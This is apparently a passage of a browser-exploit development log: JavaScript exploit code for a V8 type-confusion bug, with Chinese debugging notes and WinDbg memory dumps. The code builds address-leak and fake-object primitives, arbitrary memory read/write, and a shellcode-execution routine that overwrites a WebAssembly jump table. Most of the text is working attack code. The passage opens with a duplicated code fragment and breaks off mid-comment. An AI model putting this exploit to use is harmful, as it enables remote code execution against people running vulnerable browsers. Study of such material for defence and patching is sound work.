//console.log('addr of host_buffer1: 0x' + f2i(addrof_host_buffer1).hi);
//console.log('addr of host_buffer2: 0x' + f2i(addrof_host_buffer2).hi);
//减1避免tagged,用真实地址
let SMI_addrof_host_buffer1 = f2i(addrof_host_buffer1).hi - 1;
let SMI_addrof_host_buffer2 = f2i(addrof_host_buffer2).hi - 1;
//修改host_buffer1的backing store为host_buffer2
v8heap_write32(SMI_addrof_host_buffer1 + 0x1c, SMI_addrof_host_buffer2);//backing store low 4 bytes
v8heap_write32(SMI_addrof_host_buffer1 + 0x20, v8_base_addr);//backing store hi 4 bytes
//修改效果:
/**
* 0:015> dd 123`0835195c
00000123`0835195c 08207691 0800222d 0800222d 00000100
00000123`0835196c 00000000 00000000 00000000 (backing store)083519c0
00000123`0835197c 00000123 e16e13a0 00000207 00000002
*/
修改完之后,就可以使用DataView修改host buffer1,从而操纵host buffer2,创建任意内存读写。
dv_host_buffer1 = new DataView(host_buffer1);
this.read64 = function (addr) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
ret = host_buffer1_dv2.getBigUint64(0, true);
host_buffer1_dv2 = null;
return ret;
}
this.read32 = function (addr) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
ret = host_buffer1_dv2.getUint32(0, true);
host_buffer1_dv2 = null;
return ret;
}
this.read16 = function (addr) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
ret = host_buffer1_dv2.getUint16(0, true);
host_buffer1_dv2 = null;
return ret;
}
this.read8 = function (addr) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
ret = host_buffer1_dv2.getUint8(0, true);
host_buffer1_dv2 = null;
return ret;
}
this.write8 = function (addr, value) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
host_buffer1_dv2.setUint8(0, value);
host_buffer1_dv2 = null;
}
this.write16 = function (addr, value) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
host_buffer1_dv2.setUint16(0, value, true);
host_buffer1_dv2 = null;
}
this.write32 = function (addr, value) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
host_buffer1_dv2.setUint32(0, value, true);
host_buffer1_dv2 = null;
}
this.write64 = function (addr, value) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
host_buffer1_dv2.setBigUint64(0, value, true);
host_buffer1_dv2 = null;
}
使用WASM实现shellcode执行。需要放到OldSpace。
var wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
var rce_wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
this.rce_wasm_func = rce_wasm_instance.exports.a;
this.rce = function (shellcode) {
var rce_wasm_instance_addr = this.leakPtr(rce_wasm_instance);
console.log("rce_wasm_instance_addr : 0x" + rce_wasm_instance_addr.toString(16));
var jump_table_addr = this.read64(rce_wasm_instance_addr + 0x68n);
console.log("jump_table_addr : 0x" + jump_table_addr.toString(16));
this.setBytes(jump_table_addr, shellcode);
this.rce_wasm_func();
}
async function sleep (ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function force_gc () {
//console.log('force gc does nothing');
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
var _dview = new DataView(new ArrayBuffer(16));
function i2f (low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
function f2i (f) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, f);
return {
low: _dview.getUint32(4),
hi: _dview.getUint32(0)
};
}
function f2bi (f) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, f);
return _dview.getBigUint64(0);
}
function bi2f (bi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setBigUint64(0, bi);
return _dview.getFloat64(0);
}
function many_args () {
class LeakArrayBuffer extends ArrayBuffer {
constructor (size) {
super(size);
this.slot = {};
}
}
class LeakBigUint64Array extends BigUint64Array {
constructor (size) {
super(size);
this.slot = {};
}
}
var wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
var rce_wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
this.rce_wasm_func = rce_wasm_instance.exports.a;
var evil = null;
var victim = null;
function read_double_array_map (arg) {
let r = arg ? 0 : 'x';
let s = (Math.max(r, 0) + r); // s = 0
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 1 + ((y ^ x) >> 31); //Range(1, 1), z = 0
//let evil = new Array(3 + 30 * z);
evil = new Array(3 + 30 * z);
evil[0] = 1.1;
//let victim = new Array(0x2);
victim = new Array(0x2);
victim[0] = 1.1;
victim[1] = 2.2;
let iter = evil[Symbol.iterator]();
iter.next(); iter.next(); iter.next(); //jump over evil's elements
//let r1 = iter.next().value;
iter.next();
iter.next(); // jump over evil's header
iter.next(); //victim's elements' header
iter.next(); iter.next();// jump over victim's elements
let r2 = iter.next().value;
//return [r1.value, r2.value];
return r2;
}
function read_double_array_elements (arg) {
let r = arg ? 0 : 'x';
let s = (Math.max(r, 0) + r); // s = 0
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 1 + ((y ^ x) >> 31); //Range(1, 1), z = 0
//let evil = new Array(3 + 30 * z);
evil = new Array(3 + 30 * z);
evil[0] = 1.1;
//let victim = new Array(0x2);
victim = new Array(0x2);
victim[0] = 1.1;
victim[1] = 2.2;
let iter = evil[Symbol.iterator]();
iter.next(); iter.next(); iter.next();
iter.next(); iter.next();
let r1 = iter.next().value;
return r1;
}
function read_double_array_map_elements (arg) {
let r = arg ? 8 : 'x';
let s = (Math.max(r, 0) + r - 16); // s = 0
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 1 + ((y ^ x) >> 31); //Range(1, 1), z = 0
//let evil = new Array(3 + 30 * z);
evil = new Array(3 + 30 * z);
evil[0] = 1.1;
//let victim = new Array(0x2);
//victim = new Array(0x2);//buffer太小会影响element布局
/**
0000011d`08242164 082421dd 00000004 080023d1 00000000
0000011d`08242174 41dffe00 080023d1 00000000 41dffe00
0000011d`08242184(evil)08203b09 0800222d 082421bd 00000006
0000011d`08242194(victim)08203b09 0800222d 082421a5 00000004
0000011d`082421a4 08002a95 00000004 9999999a 3ff19999
0000011d`082421b4 9999999a 40019999 08002a95 00000006
0000011d`082421c4 9999999a 3ff19999 fff7ffff fff7ffff
0000011d`082421d4 fff7ffff fff7ffff 08002205 00000004
0000011d`082421e4 080023b5 080023b5 0800229d 0000fe58
*/
//首先应该victim大小大于evil
//let victim = new Array(0x4);
victim = new Array(0x4);
//victim = new Array(0x5);
victim[0] = 1.1;
victim[1] = 2.2;//double typed
victim[2] = 3.3;
victim[3] = 4.4;
//下面这个看起来是错误的,为啥会对漏洞利用有影响呢?在victim是array[4]下,没有这句话,利用就会失败
//array[5]呢?array[5]会读不出来map和properties,也许这个victim实际上是5长度?下面的测试victim
//说明,DebugPrint的确是5
//那说明victim是5,但是下标[4]没有赋值就是hole,iter读到了hole会出错(结果是7ff80000)?
//还有,为何声明长度为5时,为何会出错呢?下面的代码可能顺序有问题,调整下顺序可能会更好看
//我们从返回值可以看到,victim的长度的确为4,为何和DebugPrint不一样呢?
//单独摘出来代码测试看出来,的确是4,而且这样的内存布局都变了
/*
d8> %DebugPrint(evil);
0x018708242185 <JSArray[3]>
[1.1, , ]
d8> %DebugPrint(victim);
0x018708242195 <JSArray[4]>
[1.1, 2.2, 3.3, 4.4]
0:012> dd 0x018708242185-1
00000187`08242184 08203b09 0800222d 0824221d 00000006
00000187`08242194 08203b09 0800222d 082421f5 00000008
这样是不可能读到victim的,可以看到evil的element已经跑到victim的后面了,而它应该在evil前面才行
看起来应该使用长度5,那么下面的iter.next()数量也应该改了
这次就对了
将后面的代码还原之后,发现再次出错
0x0222080ef1a5 <JSArray[3]>
0x0222080ef1e5 <JSArray[5]>
double array map : 0x0
double array properties : 0x7ff80000
double array element type : 0x0
double array length : 0x7ff80000
显然内存布局又变了
0x02c908320185 <JSArray[3]>
0x02c9083201c5 <JSArray[5]>
以前用4还挺稳定的,还是用以前的吧
也许因为优化,这里越界赋值,反而导致victim长度增长了
下面的DebugPrint是对的,没有越界赋值就是4,越界赋值就是5
*/
victim[4] = 5.5;
let iter = evil[Symbol.iterator]();
iter.next(); iter.next(); iter.next(); //jump over evil's elements
//let r1 = iter.next().value;
iter.next();
iter.next(); // jump over evil's header
//iter.next(); iter.next();
let r2 = iter.next(); //victim's elements' header
// iter.next();
iter.next(); iter.next();
iter.next(); iter.next();// jump over victim's elements
let r1 = iter.next(); //victim's header
return [r1.value, r2.value];
//return [r1, r2];
}
function leak_addr (arg, obj) {
let r = arg ? 0 : 'x';
let s = Math.max(r, 0) + r; // s = 0
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 1 + ((y ^ x) >> 31); //Range(1, 1), z = 0
//let evil2 = new Array(3 + 30 * z);
evil = new Array(3 + 30 * z);
evil[0] = 1.1; //Type: double
//let victim2 = new Array(0x4);
victim = new Array(4);
for (var idx = 0; idx < 4; idx += 1) {
victim[idx] = {}; //Type: Object
}
victim[1] = obj;
let iter = evil[Symbol.iterator]();
iter.next(); iter.next(); iter.next(); iter.next();
iter.next();
iter.next();
let ret = iter.next().value;
return ret; //return Type: double
}
function fake_obj (arg, value) { //double
let r = arg ? 0 : 'x';
let s = Math.max(r, 0) + r; // s = 0
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 1 + ((y ^ x) >> 31); //Range(1, 1), z = 0
//let evil2 = new Array(3 + 30 * z);
evil = new Array(3 + 30 * z);
//evil2[0] = {}; // array type: Object
evil[0] = {};
//let victim2 = new Array(0x5);
victim = new Array(0x5);
//for (var idx = 0; idx < 5; idx += 1) victim2[idx] = 13.37; // double
for (var idx = 0; idx < 5; idx += 1) victim[idx] = 1.1; // double
//victim2[1] = value;
victim[0] = value;
//let iter = evil2[Symbol.iterator]();
let iter = evil[Symbol.iterator]();
iter.next(); iter.next(); iter.next(); //skip evil's elements
iter.next(); iter.next(); iter.next(); iter.next(); //skip evil's header
iter.next(); iter.next(); iter.next(); iter.next();
iter.next(); iter.next(); iter.next();//skip useless
iter.next(); iter.next();//skip victim's element header
let ret = iter.next().value; //return type: Object
return ret;
//let ret = iter.next();
//return ret.value;
}
function leak_array_map (arg_true, obj) {
// leaks the address of the map corresponding to an array with double-typed elements
// as well as the map for its element storage
let o = { ct: true, c0: 0, c1: 1 };
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2 ** 32 + (o.c0 & 1);
let xx = 2 ** 32 - 1;
let ra = (xx >>> c0) - v01;
let rb = ((xx - 2 ** 32) << (32 - c0));
let confused = (ra ^ rb) >> 31; // Range(0,0); is: -1
let arr = new Array(3 + 30 * (1 + confused));
arr[0] = 1e64; // make sure arr is of type double
arr[1] = 2e64;
let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
for (var i = 0; i < 10; i++) arr2[i] = i + 1337.5;
let iter = arr[Symbol.iterator]();
// skip elements of arr:
iter.next(); iter.next(); iter.next();
// at header of arr2 elements (need 1 skip as arr is 64-bit sized):
let v0 = iter.next();
// skip elements of arrw (need 3 skips as arr and arrw both have 64-bit elements):
iter.next(); iter.next(); iter.next(); iter.next(); iter.next(); iter.next(); iter.next(); iter.next(); iter.next(); iter.next();
// at header of arr2 object:
let v1 = iter.next();
return [v0.value, v1.value, arr2];
}
console.log('start');
var host_buffer1 = new LeakArrayBuffer(0x80100);
var host_buffer2 = new LeakArrayBuffer(0x80200);
force_gc();
force_gc();
//force_gc();
//force_gc();
for (i = 0; i < 10 ** 5; i++) read_double_array_map_elements(true);
let double_array_header = read_double_array_map_elements(true);
//测试victim
//%DebugPrint(evil);
//%DebugPrint(victim);
//0x02c60812ed69 <JSArray[5]>
evil = null;
victim = null;
double_array_map_properties = double_array_header[0];
let double_array_map = f2i(double_array_map_properties).low;
console.log('double array map : 0x' + double_array_map.toString(16));
let double_array_properties = f2i(double_array_map_properties).hi;
console.log('double array properties : 0x' + double_array_properties.toString(16));
double_array_element_length = double_array_header[1];
let double_array_element = f2i(double_array_element_length).low;
console.log('double array element type : 0x' + double_array_element.toString(16));
let double_array_length = f2i(double_array_element_length).hi;
console.log('double array length : 0x' + double_array_length.toString(16));
//我觉得这种memory intense操作应该放到前面
evil = null;
victim = null;
for (i = 0; i < 10 ** 5; i++) leak_addr(true, host_buffer1);
let addrof_host_buffer1 = leak_addr(true, host_buffer1);
evil = null;
victim = null;
for (i = 0; i < 10 ** 5; i++) leak_addr(true, host_buffer2);
let addrof_host_buffer2 = leak_addr(true, host_buffer2);
//console.log('addr of host_buffer1: 0x' + f2i(addrof_host_buffer1).hi);
//console.log('addr of host_buffer2: 0x' + f2i(addrof_host_buffer2).hi);
//减1避免tagged,用真实地址
let SMI_addrof_host_buffer1 = f2i(addrof_host_buffer1).hi - 1;
let SMI_addrof_host_buffer2 = f2i(addrof_host_buffer2).hi - 1;
console.log('addr of host_buffer1: 0x' + SMI_addrof_host_buffer1.toString(16));
console.log('addr of host_buffer2: 0x' + SMI_addrof_host_buffer2.toString(16));
//这种组织方式更不稳定,element离header非常远(0x100以外,偏移大小变化)
//或许放到OldSpace会更好一些?
//试着放到了OldSpace,但是看起来效果不咋地,还是摒弃了
/*
var fake_array_container = [3.512700564088504e-303,
i2f(double_array_map, double_array_properties),
i2f(0x1337, 0x8), i2f(double_array_element, 0x8),
0.0, 0.0,0.0,0.0
];
*/
var fake_array_container = new Array(0x9);
//var fake_array_container = new Array(0x8);
fake_array_container[0] = 3.512700564088504e-303; //type as double array
fake_array_container[1] = i2f(double_array_map, double_array_properties);
fake_array_container[2] = i2f(0x1337, 0xa);//这里是element地址和array长度,由于map等来自array[5]
//fake_array_container[2] = i2f(SMI_addrof_fake_array_container + 0x40, 0x2);
fake_array_container[3] = i2f(double_array_element, 0x8);
fake_array_container[4] = 0.0;
fake_array_container[5] = 0.0;
fake_array_container[6] = 0.0;
fake_array_container[7] = 0.0;
fake_array_container[8] = 0.0;
force_gc();
force_gc(); //将fake array container放到OldSpace?
/* 0:015> dd 0x026408385da9-1
00000264`08385da8 08203b09 0800222d 08385df9 0000000a
00000264`08385db8 080023d1 08203b09 0800222d 080023d1
00000264`08385dc8 08002a95 00000008 08005bd9 00020002
00000264`08385dd8 00000000 080021f9 081d29cd 00000088
00000264`08385de8 00000002 081d29dd 00100488 00000002
00000264`08385df8 08002a95 0000000a 89abcdef 01234567
00000264`08385e08 08203b09 0800222d 00001337 00000002
00000264`08385e18 08002a95 00000002 00000000 00000000
这种好像偏移在0x50上,那下面的偏移就应该是0x50+0x20=0x70。再试试
经历了一次失败
0:015> dd 0x020208382509-1
00000202`08382508 08203b09 0800222d 08382559 0000000a
0:015> dd 0x033708385da9-1
00000337`08385da8 08203b09 0800222d 08385df9 0000000a
0:015> dd 0x008008385da9-1
00000080`08385da8 08203b09 0800222d 08385df9 0000000a
。。。中间有一次没有记录,但是偏移仍然是0x50
0:015> dd 0x02c208382509-1
000002c2`08382508 08203b09 0800222d 08382559 0000000a
目前看起来还不错
0:015> dd 0x000c08385da9-1
0000000c`08385da8 08203b09 0800222d 08385df9 0000000a
就算加入了var fake_array = null;看起来也没有影响,可能因为fake_array存在于NewSpace
0:015> dd 0x021908382509-1
00000219`08382508 08203b09 0800222d 08382559 0000000a
0:015> dd 0x03680834bcc9-1
00000368`0834bcc8 08203b09 0800222d 0834bcf1 0000000a
这里,偏移又变了,估计有什么发生了变化
经历了一次失败
经历了一次失败
0:012> dd 0x004e08382509-1
0000004e`08382508 08203b09 0800222d 08382559 0000000a 又恢复了0x50的偏移
0:015> dd 0x00b1083828f9-1
000000b1`083828f8 08203b09 0800222d 08382949 0000000a
0:012> dd 0x01b208382509-1
000001b2`08382508 08203b09 0800222d 08382531 00000010 调整fake array container大小,导致偏移变化
0:015> dd 0x00fc083507a5-1
000000fc`083507a4 08203b09 0800222d 083507cd 00000010
0:015> dd 0x0293083828f9-1
00000293`083828f8 08203b09 0800222d 08382921 00000010
0:015> dd 0x007308382521-1
00000073`08382520 08203b09 0800222d 08382549 00000012
0:015> dd 0x0085083828f9-1
00000085`083828f8 08203b09 0800222d 08382949 00000012 又变回0x50了
0:015> dd 0x03d508385da9-1
000003d5`08385da8 08203b09 0800222d 08385df9 00000012
目前为止,偏移还是很稳定
把host buffer提前之后,偏移又有了变化
0:000> dd 342`083826c9-1
00000342`083826c8 08203b09 0800222d 08382701 00000012
由于偏移变化,fake_array识别也变了
0x034208382729 <JSObject>
调整了偏移之后,又好了
0:000> dd 322083826c9-1
00000322`083826c8 08203b09 0800222d 08382701 00000012
又变了
0:000> dd 15c`08386179-1
0000015c`08386178 08203b09 0800222d 08386189 00000012
第一次见到这么接近的
修改下偏移再次试试
维持新的偏移
0:015> dd 123`08386159-1
00000123`08386158 08203b09 0800222d 08386169 00000012
*/
//var fake_array = null;
if (double_array_map == 0 || double_array_element == 0) {
console.log('read double array failed!');
return null;
} else {
//把LeakArrayBuffer相关的放在这里,避免影响后面的代码?
for (i = 0; i < 10 ** 5; i++) leak_addr(true, fake_array_container);
let SMI_addrof_fake_array_container =
f2i(leak_addr(true, fake_array_container)).hi; //Keep 1 as tagged
console.log('fake array container: 0x' + SMI_addrof_fake_array_container.toString(16));
let failed_times = 0;
while (SMI_addrof_fake_array_container == 0x7ff80000) {
console.log('leak address failed. retrying...');
evil = null;
victim = null;
force_gc();
for (i = 0; i < 10 ** 5; i++) {
leak_addr(true, fake_array_container);
}
SMI_addrof_fake_array_container =
f2i(leak_addr(true, fake_array_container)).hi; //Keep 1 as tagged
console.log('fake array container: 0x' + SMI_addrof_fake_array_container.toString(16));
failed_times++;
if (failed_times > 5) {
console.log('too many failed attempt, exiting...');
return null;
}
}
//fake_array_container[2] = i2f(SMI_addrof_fake_array_container + 0x48, 0xa);//与上面的array长度同步
//fake_array_container[2] = i2f(SMI_addrof_fake_array_container + 0x70, 0x8);
//fake_array_container[2] = i2f(SMI_addrof_fake_array_container + 0x58, 0x8);
fake_array_container[2] = i2f(SMI_addrof_fake_array_container + 0x30, 0x8);
evil = null;
victim = null;
//尝试创建fake object
//0x10跳过element前8字节和指示type的填充内容3.512700564088504e-303 = 0x0123456789abcdef
//for (i = 0; i < 10 ** 5; i++) fake_obj(true, fake_array_container + 0x30 + 0x8);
//for (i = 0; i < 10 ** 5; i++) fake_obj(true, i2f(SMI_addrof_fake_array_container + 0x60, 0x8));
//for (i = 0; i < 10 ** 5; i++) fake_obj(true, i2f(SMI_addrof_fake_array_container + 0x48, 0x8));
for (i = 0; i < 10 ** 5; i++) fake_obj(true, i2f(SMI_addrof_fake_array_container + 0x20, 0x8));
//fake_array = fake_obj(true, fake_array_container + 0x30 + 0x8);
//let fake_array = fake_obj(true, i2f(SMI_addrof_fake_array_container + 0x60, 0x8));
//let fake_array = fake_obj(true, i2f(SMI_addrof_fake_array_container + 0x48, 0x8));
let fake_array = fake_obj(true, i2f(SMI_addrof_fake_array_container + 0x20, 0x8));
//%DebugPrint(evil);
//%DebugPrint(victim);
//%DebugPrint(fake_array);
//结果是undefined
//调整了fake obj使用全局变量evil和victim,结果变了,成了3,而不是array,这是为啥
//d8> %DebugPrint(fake_array);
//3
//3
//因为map等元素都是来自别的array的,试着把这个array也做成别的样子?
//来自于victim,实际上是double array[5]
//做好了
/**
* 0:015> dd 0x007308382521-1
00000073`08382520 (container)08203b09 0800222d 08382549 00000012
00000073`08382530 080023d1 08203b09 0800222d 080023d1
00000073`08382540 08002a95 00000008 08002a95 00000012
00000073`08382550 89abcdef 01234567 (fake array)08203b09 0800222d
00000073`08382560 08382569 0000000a 08002a95 0000000a
00000073`08382570 00000000 00000000 00000000 00000000
00000073`08382580 00000000 00000000 00000000 00000000
00000073`08382590 00000000 00000000 08002205 00000004
奇怪的是,DebugPrint认为fake array是String:
0x02ed082b034d <String[92]: c"3.512700564088504e-303,3.8173544015228e-270,1.70440970025e-313,1.7042284082e-313,0,0,0,0,096">
这里,3.512700564088504e-303=0x0123456789abcdef
3.8173544015228e-270 = 08203b09 0800222d
1.7042284082e-313 = 08002a95 00000008
为什么是这样?
再看了遍代码,原来是这个函数的参数是double,而我传了SMI进去
不过那些skip是对的,因为我们的evil是SMI类型的
再次测试
0:012> dd 0x03af0830e1b9-0x21 L50
000003af`0830e198 080023d1 00000000 00000008 08002205
000003af`0830e1a8 00000006 0830e1c9 0800242d 0800242d
000003af`0830e1b8 08203b59 0800222d 0830e1a5 00000006
000003af`0830e1c8 082022d1 0800222d 0800222d 080023b5
000003af`0830e1d8 080023b5 080023b5 080023b5 08002a95
000003af`0830e1e8 0000000a (这里)00000000 00000008 a3d70a3d
000003af`0830e1f8 402abd70 a3d70a3d 402abd70 a3d70a3d
000003af`0830e208 402abd70 a3d70a3d 402abd70 08203b09
000003af`0830e218 0800222d 0830e1e5 0000000a 080023d1
发现自己传进去的是0
观察了下,发现那里应该传的是container的地址,而不是container,难怪会是0
再次测试,V8成功地错误识别了fake array为
0x0232083825c1 <JSArray[4]>
下面的泄露V8基址也成功了
那后面的都好解决了
*/
/*
evil = null;
victim = null;
for (i = 0; i < 10 ** 5; i++) leak_addr(true, host_buffer1);
let addrof_host_buffer1 = leak_addr(true, host_buffer1);
evil = null;
victim = null;
for (i = 0; i < 10 ** 5; i++) leak_addr(true, host_buffer2);
let addrof_host_buffer2 = leak_addr(true, host_buffer2);
console.log('addr of host_buffer1: 0x' + f2i(addrof_host_buffer1).hi);
console.log('addr of host_buffer2: 0x' + f2i(addrof_host_buffer2).hi);
*/
//%DebugPrint(fake_array_container);
//这里直接加1,方便使用真实地址,免tag
//寻找V8的堆基址:
/**
* 0:015> dd 000003d5`08000000
000003d5`08000000 00021000 00000000 00300080 00000000
000003d5`08000010 00000000 00000000 08002118 000003d5(这里,固定的偏移)
000003d5`08000020 08021000 000003d5(这里,固定的偏移) 0001edcc 00000000
0:012> dd 0000037a`08000000
0000037a`08000000 00021000 00000000 00300080 00000000
0000037a`08000010 00000000 00000000 08002118 0000037a
0000037a`08000020 08021000 0000037a 0001edcc 00000000
*/
fake_array_container[2] = i2f(0x08000024 - 0x8 + 0x1, 0x8);
let v8_base_addr = f2i(fake_array[0]).low;
let v8_base_addr64 = BigInt(v8_base_addr) * 0x100000000n;
console.log('V8 Heap base address: 0x' + v8_base_addr64.toString(16));
if (v8_base_addr64 == 0x0n) {
console.log('failed to acquire V8 Heap base address!');
return null;
}
function v8heap_read32 (addr) { //使用真实SMI地址,不是tagged
fake_array_container[2] = i2f(addr - 0x8 + 0x1, 0x8);
//由于内部是double类型,所以会用xmm寄存器,只接受0x10整数倍的地址,不接受其他
return f2i(fake_array[0]).low;
}
function v8heap_write32 (addr, value) { //使用真实SMI地址,不是tagged;value是SMI
fake_array_container[2] = i2f(addr - 0x8 + 0x1, 0x8);
//由于内部是double类型,所以会用xmm寄存器,只接受0x10整数倍的地址,不接受其他
hi = f2i(fake_array[0]).hi;
fake_array[0] = i2f(value, hi);
}
//实现V8堆内部任意读写之后,可以将其发散到任意内存读写
//host_buffer1_backing_store_low = v8heap_read32(addrof_host_buffer1 + 0x1c);
//host_buffer1_backing_store_hi = v8heap_read32(addrof_host_buffer1 + 0x20);
let full_addrof_host_buffer1 = BigInt(SMI_addrof_host_buffer1) + v8_base_addr64;
let full_addrof_host_buffer2 = BigInt(SMI_addrof_host_buffer2) + v8_base_addr64;
//修改host_buffer1的backing store为host_buffer2
v8heap_write32(SMI_addrof_host_buffer1 + 0x1c, SMI_addrof_host_buffer2);//backing store low 4 bytes
v8heap_write32(SMI_addrof_host_buffer1 + 0x20, v8_base_addr);//backing store hi 4 bytes
//let backing_store1 = addrof_host_buffer1 + 0x1c
//修改效果:
/**
* 0:015> dd 123`0835195c
00000123`0835195c 08207691 0800222d 0800222d 00000100
00000123`0835196c 00000000 00000000 00000000 (backing store)083519c0
00000123`0835197c 00000123 e16e13a0 00000207 00000002
*/
dv_host_buffer1 = new DataView(host_buffer1);
this.read64 = function (addr) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
ret = host_buffer1_dv2.getBigUint64(0, true);
host_buffer1_dv2 = null;
return ret;
}
this.read32 = function (addr) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
ret = host_buffer1_dv2.getUint32(0, true);
host_buffer1_dv2 = null;
return ret;
}
this.read16 = function (addr) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
ret = host_buffer1_dv2.getUint16(0, true);
host_buffer1_dv2 = null;
return ret;
}
this.read8 = function (addr) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
ret = host_buffer1_dv2.getUint8(0, true);
host_buffer1_dv2 = null;
return ret;
}
this.write8 = function (addr, value) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
host_buffer1_dv2.setUint8(0, value);
host_buffer1_dv2 = null;
}
this.write16 = function (addr, value) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
host_buffer1_dv2.setUint16(0, value, true);
host_buffer1_dv2 = null;
}
this.write32 = function (addr, value) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
host_buffer1_dv2.setUint32(0, value, true);
host_buffer1_dv2 = null;
}
this.write64 = function (addr, value) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
host_buffer1_dv2.setBigUint64(0, value, true);
host_buffer1_dv2 = null;
}
this.leakPtr = function (obj) {
host_buffer2.slot = obj;
return (dv_host_buffer1.getBigUint64(0x40, true) & 0xffffffffn) + v8_base_addr64 - 1n;
}
this.setBytes = function (addr, array) {
dv_host_buffer1.setBigUint64(0x1c, addr, true);
host_buffer1_dv2 = new DataView(host_buffer2);
/*
for (let i = 0; i < array.length; i += 4) {
var a = array[i] == undefined ? 0 : array[i];
var b = array[i + 1] == undefined ? 0 : array[i + 1];
var c = array[i + 2] == undefined ? 0 : array[i + 2];
var d = array[i + 3] == undefined ? 0 : array[i + 3];
var value = a + (b << 8) + (c << 16) + (d << 24);
host_buffer1_dv2.setUint32(i, value, true);
*/
for (let i = 0; i < array.length; i++) {
host_buffer1_dv2.setUint8(i, array[i]);
}
host_buffer1_dv2 = null;
}
this.rce = function (shellcode) {
var rce_wasm_instance_addr = this.leakPtr(rce_wasm_instance);
console.log("rce_wasm_instance_addr : 0x" + rce_wasm_instance_addr.toString(16));
var jump_table_addr = this.read64(rce_wasm_instance_addr + 0x68n);
console.log("jump_table_addr : 0x" + jump_table_addr.toString(16));
this.setBytes(jump_table_addr, shellcode);
this.rce_wasm_func();
}
this.cleanup = function () {
evil = null;
victim = null;
dv_host_buffer1 = null;
host_buffer1 = null;
host_buffer2 = null;
this.rce_wasm_func = null;
rce_wasm_instance = null;
fake_array = null;
fake_array_container = null;
force_gc();
}
/*
evil = null;
victim = null;
force_gc();
var fake_array_container = new Array(0x5);
0:012> dd 0x01070834ac81-1
00000107`0834ac80 (fake array container)08203b09 0800222d 0834aca1 0000000a
00000107`0834ac90 08002191 00000004 08203b0b 081d63c5
00000107`0834aca0 08002a95 0000000a 89abcdef 01234567
00000107`0834acb0 (fake array)08203b09 0800222d 00001337 00000002
00000107`0834acc0 (element)08002a95 00000002 00000000 00000000
00000107`0834acd0 08203b09 0800222d 0834ad0d 00000042
00000107`0834ace0 08203b59 0800222d 0834acf1 0000000a
